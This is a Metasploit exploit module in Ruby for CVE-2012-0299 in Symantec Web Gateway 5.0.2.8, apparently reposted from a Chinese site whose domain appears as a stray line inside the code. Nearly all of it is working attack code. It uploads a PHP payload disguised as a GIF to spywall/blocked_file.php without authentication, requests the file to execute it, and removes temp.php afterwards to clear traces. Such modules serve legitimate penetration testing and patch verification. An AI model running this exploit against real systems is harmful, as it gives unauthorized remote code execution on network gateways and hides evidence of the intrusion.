require 'msf/core'
 
  
 
class Metasploit3 < Msf::Exploit::Remote 
 
    Rank = ExcellentRanking 
 
  
 
    include Msf::Exploit::Remote::HttpClient 
 
  
 
    def initialize(info={}) 
 
        super(update_info(info, 
 
            'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability", 
 
            'Description'    => %q{ 
 
                    This module exploits a file upload vulnerability found in Symantec Web Gateway's 
 
                HTTP service. Due to the incorrect use of file extensions in the upload_file() 
 
                function, this allows us to abuse the spywall/blocked_file.php file in order to 
 
                upload a malicious PHP file without any authentication, which results in arbitrary 
 
                code execution. 
 
            }, 
 
            'License'        => MSF_LICENSE, 
 
            'Author'         => 
 
                [ 
 
                    'Tenable Network Security', # Vulnerability Discovery 
 
                    'juan vazquez' # Metasploit module 
 
                ], 
 
            'References'     => 
 
                [ 
 
                    [ 'CVE', '2012-0299' ], 
 
                    [ 'OSVDB', '82025' ], 
 
                    [ 'BID', '53443' ], 
 
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ], 
 
                    [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ] 
 
                ], 
 
            'Payload'        => 
 
                { 
 
                    'BadChars' => "\x00"
 
                }, 
 
            'DefaultOptions'  => 
 
                { 
 
                    'ExitFunction' => "none"
 
                }, 
 
            'Platform'       => ['php'], 
 
            'Arch'           => ARCH_PHP, 
 
            'Targets'        => 
 
                [ 
 
                    ['Symantec Web Gateway 5.0.2.8', {}], 
 
                ], 
 
            'Privileged'     => false, 
 
            'DisclosureDate' => "May 17 2012", 
 
            'DefaultTarget'  => 0)) 
 
    end
 
  
 
  
 
    def check 
 
        res = send_request_raw({ 
 
            'method' => 'GET', 
 
            'uri'    => '/spywall/login.php'
 
        }) 
 
  
 
        if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ 
 
            return Exploit::CheckCode::Detected 
 
        else
 
            return Exploit::CheckCode::Safe 
 
        end
 
    end
 
  
 
    def on_new_session(client) 
 
        if client.type == "meterpreter"
 
            client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") 
 
            client.fs.file.rm("temp.php") 
 
        else
 
            client.shell_command_token("rm temp.php") 
 
        end
 
    end
 
  
 
    def exploit 
 
        uri = target_uri.path 
 
        uri << '/' if uri[-1,1] != '/'
 
  www.2cto.com
 
        peer = "#{rhost}:#{rport}"
 
        payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
 
        before_filename = rand_text_alpha(rand(10) + 5) 
 
        after_filename = rand_text_alpha(rand(10) + 5) 
 
  
 
        post_data = Rex::MIME::Message.new
 
        post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"") 
 
        post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"") 
 
        post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"") 
 
        post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"") 
 
  
 
        print_status("#{peer} - Sending PHP payload (#{payload_name})") 
 
        res = send_request_cgi({ 
 
            'method' => 'POST', 
 
            'uri'    => "#{uri}spywall/blocked_file.php", 
 
            'ctype'  => "multipart/form-data; boundary=#{post_data.bound}", 
 
            'data'   => post_data.to_s 
 
        }) 
 
  
 
        # If the server returns 200 and the body contains the name 
 
        # of the default file, we assume we uploaded the malicious 
 
        # file successfully 
 
        if not res or res.code != 200 or res.body !~ /temp.php/ 
 
            print_error("#{peer} - File wasn't uploaded, aborting!") 
 
            return
 
        end
 
  
 
        print_status("#{peer} - Executing PHP payload (#{payload_name})") 
 
        # Execute our payload 
 
        res = send_request_cgi({ 
 
            'method' => 'GET', 
 
            'uri'    => "#{uri}spywall/images/upload/temp/temp.php"
 
        }) 
 
  
 
        # If we don't get a 200 when we request our malicious payload, we suspect 
 
        # we don't have a shell, either.  Print the status code for debugging purposes. 
 
        if res and res.code != 200
 
            print_status("#{peer} - Server returned #{res.code.to_s}") 
 
        end
 
    end
 
  
 
end